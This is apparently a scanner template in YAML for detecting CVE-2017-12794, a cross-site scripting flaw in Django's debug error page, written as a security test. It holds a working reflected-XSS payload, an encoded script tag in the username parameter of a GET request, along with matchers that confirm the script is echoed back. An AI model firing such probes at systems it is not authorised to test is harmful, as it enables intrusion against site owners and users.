34 lines
1.1 KiB
YAML
34 lines
1.1 KiB
YAML
id: CVE-2017-12794
|
|
|
|
info:
|
|
name: Django debug page XSS
|
|
author: pikpikcu
|
|
severity: medium
|
|
reference:
|
|
- https://twitter.com/sec715/status/1406779605055270914
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-12794
|
|
description: |
|
|
In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn't affect most production sites since you shouldn't run with "DEBUG = True" (which makes this page accessible) in your production settings.
|
|
tags: xss,django,cve,cve2017
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "<script>alert(document.domain)</script>"
|
|
part: body
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header
|